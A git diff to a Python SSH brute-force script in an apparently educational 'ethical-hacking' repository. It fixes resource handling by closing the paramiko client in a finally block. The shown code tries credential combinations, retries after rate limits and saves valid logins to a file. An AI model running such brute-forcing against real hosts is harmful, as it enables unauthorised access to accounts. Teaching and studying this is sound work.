diff --git a/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py b/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py index be7ade8a..4246453a 100644 --- a/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py +++ b/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py @@ -22,19 +22,22 @@ def is_ssh_open(hostname, username, password): except socket.timeout: # this is when host is unreachable print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}") - return False + returning = False except paramiko.AuthenticationException: print(f"[!] Invalid credentials for {username}:{password}") - return False + returning = False except paramiko.SSHException: print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}") # sleep for a minute time.sleep(60) - return is_ssh_open(hostname, username, password) + returning = is_ssh_open(hostname, username, password) else: # connection was established successfully print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}") - return True + returning = True + finally: + client.close() + return returning if __name__ == "__main__": @@ -56,4 +59,4 @@ def is_ssh_open(hostname, username, password): if is_ssh_open(host, user, password): # if combo is valid, save it to a file open("credentials.txt", "w").write(f"{user}@{host}:{password}") - break \ No newline at end of file + break